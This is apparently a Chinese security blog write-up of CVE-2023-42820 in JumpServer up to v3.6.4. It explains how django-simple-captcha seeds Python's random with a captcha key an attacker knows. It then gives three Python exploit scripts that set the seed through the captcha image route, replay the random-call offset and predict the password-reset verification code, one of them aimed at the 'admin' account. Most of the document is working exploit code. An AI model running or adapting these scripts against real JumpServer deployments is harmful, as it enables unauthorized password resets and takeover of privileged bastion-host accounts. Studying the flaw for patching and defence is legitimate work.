环境
Jumpserver <= v3.6.4
中存在CVE-2023-42820漏洞,可以预测随机数导致验证码预测。
环境搭建
漏洞分析
github diff如下https://github.com/jumpserver/jumpserver/commit/ce645b1710c5821119f313e1b3d801470565aac0
random_string函数用于生成密码重置的验证码,去掉了random的seed,所以代码中应该有地方可以设置可控seed。
jumpserver v3.6.4
使用了django-simple-captcha v0.5.18
来生成验证码,而此版本中在captcha_image
函数中设置了种子,但结束后未将其置空。
图片验证码逻辑
captcha相关路由如下:
urlpatterns = [
re_path(
r"image/(?P<key>\w+)/$",
views.captcha_image,
name="captcha-image",
kwargs={"scale": 1},
),
re_path(
r"image/(?P<key>\w+)@2/$",
views.captcha_image,
name="captcha-image-2x",
kwargs={"scale": 2},
),
re_path(r"audio/(?P<key>\w+).wav$", views.captcha_audio, name="captcha-audio"),
re_path(r"refresh/$", views.captcha_refresh, name="captcha-refresh"),
]
验证码刷新代码:
def captcha_refresh(request):
"""Return json with new captcha for ajax refresh request"""
if not request.headers.get("x-requested-with") == "XMLHttpRequest":
raise Http404
new_key = CaptchaStore.pick()
......
@classmethod
def generate_key(cls, generator=None):
challenge, response = captcha_settings.get_challenge(generator)()
store = cls.objects.create(challenge=challenge, response=response)
return store.hashkey
@classmethod
def pick(cls):
if not captcha_settings.CAPTCHA_GET_FROM_POOL:
return cls.generate_key()
def fallback():
logger.error("Couldn't get a captcha from pool, generating")
return cls.generate_key()
# Pick up a random item from pool
minimum_expiration = timezone.now() + datetime.timedelta(
minutes=int(captcha_settings.CAPTCHA_GET_FROM_POOL_TIMEOUT)
)
store = (
cls.objects.filter(expiration__gt=minimum_expiration).order_by("?").first()
)
return (store and store.hashkey) or fallback()
CAPTCHA_GET_FROM_POOL默认为False,pick通过get_chanllenge查找生成chal的函数并调用
jumpserver默认有如下设置:
CAPTCHA_IMAGE_SIZE = (180, 38)
CAPTCHA_FOREGROUND_COLOR = '#001100'
CAPTCHA_NOISE_FUNCTIONS = ('captcha.helpers.noise_dots',)
CAPTCHA_CHALLENGE_FUNCT = 'captcha.helpers.math_challenge'
math_challenge用于生成简单的数学计算题。
def math_challenge():
operators = ("+", "*", "-")
operands = (random.randint(1, 10), random.randint(1, 10))
operator = random.choice(operators)
if operands[0] < operands[1] and "-" == operator:
operands = (operands[1], operands[0])
challenge = "%d%s%d" % (operands[0], operator, operands[1])
return (
"{}=".format(challenge.replace("*", settings.CAPTCHA_MATH_CHALLENGE_OPERATOR)),
str(eval(challenge)),
)
验证码刷新流程为:
- 通过math_challenge生成简单算术题
- 将题目和答案保存
- 通过store.hashkey生成题目hash,将hash作为key返回
后续可根据此key获取图片。由captcha_image
函数生成图片。
captcha_image代码如下:
def captcha_image(request, key, scale=1):
if scale == 2 and not settings.CAPTCHA_2X_IMAGE:
raise Http404
try:
store = CaptchaStore.objects.get(hashkey=key)
except CaptchaStore.DoesNotExist:
# HTTP 410 Gone status so that crawlers don't index these expired urls.
return HttpResponse(status=410)
random.seed(key) # Do not generate different images for the same key
text = store.challenge
if isinstance(settings.CAPTCHA_FONT_PATH, str):
fontpath = settings.CAPTCHA_FONT_PATH
elif isinstance(settings.CAPTCHA_FONT_PATH, (list, tuple)):
fontpath = random.choice(settings.CAPTCHA_FONT_PATH)
else:
raise ImproperlyConfigured(
"settings.CAPTCHA_FONT_PATH needs to be a path to a font or list of paths to fonts"
)
if fontpath.lower().strip().endswith("ttf"):
font = ImageFont.truetype(fontpath, settings.CAPTCHA_FONT_SIZE * scale)
else:
font = ImageFont.load(fontpath)
if settings.CAPTCHA_IMAGE_SIZE:
size = settings.CAPTCHA_IMAGE_SIZE
else:
size = getsize(font, text)
size = (size[0] * 2, int(size[1] * 1.4))
image = makeimg(size)
xpos = 2
charlist = []
for char in text:
if char in settings.CAPTCHA_PUNCTUATION and len(charlist) >= 1:
charlist[-1] += char
else:
charlist.append(char)
for char in charlist:
fgimage = Image.new("RGB", size, settings.CAPTCHA_FOREGROUND_COLOR)
charimage = Image.new("L", getsize(font, " %s " % char), "#000000")
chardraw = ImageDraw.Draw(charimage)
chardraw.text((0, 0), " %s " % char, font=font, fill="#ffffff")
if settings.CAPTCHA_LETTER_ROTATION:
charimage = charimage.rotate(
random.randrange(*settings.CAPTCHA_LETTER_ROTATION),
expand=0,
resample=Image.BICUBIC,
)
charimage = charimage.crop(charimage.getbbox())
maskimage = Image.new("L", size)
......
for f in settings.noise_functions():
draw = f(draw, image)
for f in settings.filter_functions():
image = f(image)
......
return response
先将key作为seed传入,后续需要计算random操作调用了多少次,姑且称其为偏移吧。
settings.CAPTCHA_FONT_PATH
默认有值,不会调用random.choice
之后会对text也就是算术题进行处理,会调用random.randrange(*settings.CAPTCHA_LETTER_ROTATION)
,调用次数不确定。
在noise_functions()
中jumpserver设置为了captcha.helpers.noise_arcs
和captcha.helpers.noise_dots
,其中captcha.helpers.noise_dots
会调用random。代码如下:
def noise_dots(draw, image):
size = image.size
for p in range(int(size[0] * size[1] * 0.1)):
draw.point(
(random.randint(0, size[0]), random.randint(0, size[1])),
fill=settings.CAPTCHA_FOREGROUND_COLOR,
)
return draw
图片大小决定seed的偏移。而jumpserver设置了默认图片大小,就是上面提到的CAPTCHA_IMAGE_SIZE = (180, 38)
,在captcha_image
函数中读取并赋值。
密码重置验证码逻辑
UserResetPasswordSendCodeApi
类定义了验证码逻辑:
token = request.GET.get('token')
userinfo = cache.get(token)
if not userinfo:
return HttpResponseRedirect(reverse('authentication:forgot-previewing'))
serializer = self.get_serializer(data=request.data)
serializer.is_valid(raise_exception=True)
username = userinfo.get('username')
form_type = serializer.validated_data['form_type']
code = random_string(6, lower=False, upper=False)
......
漏洞利用
想要预测验证码达成以下条件:
- 控制seed
- 可控seed的偏移
控制seed
通过路由/core/auth/captcha/image/{seed}/
即可设置seed。需要注意:
生成图片时会检查此key是否通过refresh生成:
try:
store = CaptchaStore.objects.get(hashkey=key)
except CaptchaStore.DoesNotExist:
# HTTP 410 Gone status so that crawlers don't index these expired urls.
return HttpResponse(status=410)
当一个验证码被使用后,对应的key会被删除,如果再次尝试设置seed为此key,会返回410错误,所以key不能复用。
还有就是jumpserver会有多个进程进行监听,所以需要多次发包设置seed才能使所有进程的seed都被控制,提高成功率。
计算random调用次数
noise_dots
计算噪点以及最终生成code时调用次数都是固定的。不确定的地方是对challenge处理时调用次数会根据challenge内容决定。
尝试枚举所有可能:
lens = []
for i in range(1, 11):
for l in range(1, 11):
for p in ['*', '-', '+']:
sum = 0
text = '{}{}{}='.format(str(i), p, str(l))
charlist = []
for char in text:
if char in "_\"',.;:-" and len(charlist) >= 1:
charlist[-1] += char
else:
charlist.append(char)
for char in charlist:
sum = sum + 1
if sum not in lens:
lens.append(sum)
lens.sort()
print(lens) # [3, 4, 5, 6]
计算4次的概率最大。
半自动利用
利用流程:
- 浏览器进入发送验证码页面
- 在发送验证码之前运行脚本预测验证码
- 发送验证码
原理:先设置seed,然后用gen_img_flow模拟seed偏移。因为次数为4的概率最大,所以固定为4。此脚本有概率失败大概为30%
脚本如下:
import requests
import random
import string
import re
url = ''
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'
key = None
def gen_img_flow(n):
CAPTCHA_LETTER_ROTATION = (-35, 35)
size = (180, 38)
for char in range(n):
random.randrange(*CAPTCHA_LETTER_ROTATION)
for p in range(int(size[0] * size[1] * 0.1)):
random.randint(0, size[0])
random.randint(0, size[1])
def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
args_names = ['lower', 'upper', 'digit', 'special_char']
args_values = [lower, upper, digit, special_char]
args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
args_string_map = dict(zip(args_names, args_string))
kwargs = dict(zip(args_names, args_values))
kwargs_keys = list(kwargs.keys())
kwargs_values = list(kwargs.values())
args_true_count = len([i for i in kwargs_values if i])
assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'
can_startswith_special_char = args_true_count == 1 and special_char
chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])
while True:
password = list(random.choice(chars) for i in range(length))
for k, v in kwargs.items():
if v and not (set(password) & set(args_string_map[k])):
# 没有包含指定的字符, retry
break
else:
if not can_startswith_special_char and password[0] in args_string_map['special_char']:
# 首位不能为特殊字符, retry
continue
else:
# 满足要求终止 while 循环
break
password = ''.join(password)
return password
def set_seed(s : requests.Session):
print('[*] start set seed')
global key
if key == None:
res = s.get(url=url + '/core/auth/password/forget/previewing/')
try:
pattern = r'\/core\/auth\/captcha\/image\/([a-f0-9]{40})\/'
key = re.findall(pattern, res.text)[0]
except:
print('[-] get key failed')
print(res.text)
exit()
if len(key) != 40 :
print('[-] key error')
exit()
try:
for i in range(10):
res = s.get(url=url + '/core/auth/captcha/image/{}/'.format(key))
except:
pass
if __name__ == '__main__':
s = requests.Session()
key = None
set_seed(s)
random.seed(key)
gen_img_flow(4)
code = random_string(6, lower=False, upper=False)
print(code)
提升成功概率的尝试
上面的脚本有概率失败是因为,seed偏移不确定。要提升成功率要从此入手。
如下图:
需要获取原本seed的值或者chal
思路一 设置两次seed(不可行)
可以先设置seed1,再设置seed2,这样chal由seed1生成,code由seed2生成。
看似很合理,但其实不可行,因为如果要通过seed1计算chal,需要知道seed1的偏移,这就又变成要获取在seed1之前的那个未知chal了。
如图所示:
思路二 chal辅助计算(可行)
在设置seed之后,查看生成的chal,手动输入chal辅助计算。
如图:
虽说100%
准确,但很麻烦,不用chal辅助正确率也能有60%
以上了,意义不大。
import requests
import random
import string
import re
import PIL
url = ''
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'
key = None
def gen_img_flow(n):
CAPTCHA_LETTER_ROTATION = (-35, 35)
size = (180, 38)
for char in range(n):
random.randrange(*CAPTCHA_LETTER_ROTATION)
for p in range(int(size[0] * size[1] * 0.1)):
random.randint(0, size[0])
random.randint(0, size[1])
def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
args_names = ['lower', 'upper', 'digit', 'special_char']
args_values = [lower, upper, digit, special_char]
args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
args_string_map = dict(zip(args_names, args_string))
kwargs = dict(zip(args_names, args_values))
kwargs_keys = list(kwargs.keys())
kwargs_values = list(kwargs.values())
args_true_count = len([i for i in kwargs_values if i])
assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'
can_startswith_special_char = args_true_count == 1 and special_char
chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])
while True:
password = list(random.choice(chars) for i in range(length))
for k, v in kwargs.items():
if v and not (set(password) & set(args_string_map[k])):
# 没有包含指定的字符, retry
break
else:
if not can_startswith_special_char and password[0] in args_string_map['special_char']:
# 首位不能为特殊字符, retry
continue
else:
# 满足要求终止 while 循环
break
password = ''.join(password)
return password
def set_seed(s : requests.Session):
print('[*] start set seed')
global key
if key == None:
res = s.get(url=url + '/core/auth/password/forget/previewing/')
try:
pattern = r'\/core\/auth\/captcha\/image\/([a-f0-9]{40})\/'
key = re.findall(pattern, res.text)[0]
except:
print('[-] get key failed')
print(res.text)
exit()
if len(key) != 40 :
print('[-] key error')
exit()
try:
for i in range(10):
res = s.get(url=url + '/core/auth/captcha/image/{}/'.format(key))
if i == 0:
f = open('./out/out.png'.format(str(i)), 'wb')
f.write(res.content)
f.close()
except:
pass
if __name__ == '__main__':
s = requests.Session()
key = None
set_seed(s)
img = PIL.Image.open('./out/out.png')
img.show()
chal = input("chal : ").replace('\n', '')
random.seed(key)
CAPTCHA_LETTER_ROTATION = (-35, 35)
charlist = []
for char in chal:
if char == "-" and len(charlist) >= 1:
charlist[-1] += char
else:
charlist.append(char)
for char in range(4):
random.randrange(*CAPTCHA_LETTER_ROTATION)
gen_img_flow(0)
code = random_string(6, lower=False, upper=False)
print(code)
思路三 自动校准偏移(不可行)
流程如下:
- 先设置seed1
- 访问
/core/auth/password/forget/previewing/
路由刷新验证码,此时seed变为seed2,chal由seed1生成。 - 枚举由seed1生成的chal的四种可能,选择可能性最高尝试提交form。使用while 循环重复1-3步骤。如果验证码检验通过则break。
- 循环break说明seed2和chal均确定,此时可以准确计算code了。
验证码通过就代表偏移设置为4的情况生成的chal是正确的。
流程图:
此时可以看到一个问题,如果要校准seed2的偏移必须要提交form通过验证码检验,但上文中的代码审计得知,一个seed对应的chal使用过一次就不能再用了,所以重新设置seed2会失败,返回410错误:
try:
store = CaptchaStore.objects.get(hashkey=key)
except CaptchaStore.DoesNotExist:
# HTTP 410 Gone status so that crawlers don't index these expired urls.
return HttpResponse(status=410)
所以这个方法不可行。不过还是把脚本贴上来吧:
import requests
import random
import string
import re
url = ''
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'
key = None
def gen_img_flow(n):
CAPTCHA_LETTER_ROTATION = (-35, 35)
size = (180, 38)
for char in range(n):
random.randrange(*CAPTCHA_LETTER_ROTATION)
for p in range(int(size[0] * size[1] * 0.1)):
random.randint(0, size[0])
random.randint(0, size[1])
def math_challenge():
operators = ("+", "*", "-")
operands = (random.randint(1, 10), random.randint(1, 10))
operator = random.choice(operators)
if operands[0] < operands[1] and "-" == operator:
operands = (operands[1], operands[0])
challenge = "%d%s%d" % (operands[0], operator, operands[1])
return (
"{}=".format(challenge.replace("*", "*")),
str(eval(challenge)),
)
def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
args_names = ['lower', 'upper', 'digit', 'special_char']
args_values = [lower, upper, digit, special_char]
args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
args_string_map = dict(zip(args_names, args_string))
kwargs = dict(zip(args_names, args_values))
kwargs_keys = list(kwargs.keys())
kwargs_values = list(kwargs.values())
args_true_count = len([i for i in kwargs_values if i])
assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'
can_startswith_special_char = args_true_count == 1 and special_char
chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])
while True:
password = list(random.choice(chars) for i in range(length))
for k, v in kwargs.items():
if v and not (set(password) & set(args_string_map[k])):
# 没有包含指定的字符, retry
break
else:
if not can_startswith_special_char and password[0] in args_string_map['special_char']:
# 首位不能为特殊字符, retry
continue
else:
# 满足要求终止 while 循环
break
password = ''.join(password)
return password
def set_seed(s : requests.Session):
print('[*] start set seed')
global key
if key == None:
res = s.get(url=url + '/core/auth/password/forget/previewing/')
try:
pattern = r'\/core\/auth\/captcha\/image\/([a-f0-9]{40})\/'
key = re.findall(pattern, res.text)[0]
except:
print('[-] get key failed')
print(res.text)
exit()
if len(key) != 40 :
print('[-] key error')
exit()
try:
for i in range(10):
res = s.get(url=url + '/core/auth/captcha/image/{}/'.format(key))
except:
pass
def get_reset_page_1(s : requests.Session) -> tuple[str, str]:
print("[*] start to get captcha0")
res = s.get(url=url + '/core/auth/password/forget/previewing/')
key_pattern = r'\/core\/auth\/captcha\/image\/([a-f0-9]{40})\/'
csrf_token_pattern = r'name="csrfmiddlewaretoken" value="(.*)"'
try:
key = re.findall(key_pattern, res.text)[0]
csrf_token = re.findall(csrf_token_pattern, res.text)[0]
if len(key) == 40 and len(csrf_token) > 0:
print("[+] get captcha0 success")
return (key, csrf_token)
except Exception as e:
print(e)
print("[-] get captcha0 failed")
exit()
def send_captcha(s : requests.Session, captcha_0 : str, captcha_1 : str, csrf_token : str) -> str:
data = {
"csrfmiddlewaretoken" : csrf_token,
"username" : "admin",
"captcha_0" : captcha_0,
"captcha_1" : captcha_1
}
res = s.post(url=url + '/core/auth/password/forget/previewing/', data=data, allow_redirects=False)
if res.status_code == 302:
token = res.headers.get("Location").split("token=")[-1]
if len(token) > 0:
return token
return None
if __name__ == '__main__':
while True:
key = None
s = requests.session()
set_seed(s) # set seed + gen_img_flow
captcha0_key, captcha0_csrf_token = get_reset_page_1(s)
random.seed(key)
gen_img_flow(4)
chal, answer = math_challenge()
token = send_captcha(s, captcha0_key, str(answer), captcha0_csrf_token)
if token != None:
break
else:
print("captcha incorrect")
key = captcha0_key
set_seed(s)
random.seed(key)
CAPTCHA_LETTER_ROTATION = (-35, 35)
charlist = []
for char in chal:
if char == "-" and len(charlist) >= 1:
charlist[-1] += char
else:
charlist.append(char)
for char in range(4):
random.randrange(*CAPTCHA_LETTER_ROTATION)
gen_img_flow(0)
code = random_string(6, lower=False, upper=False)
print(code)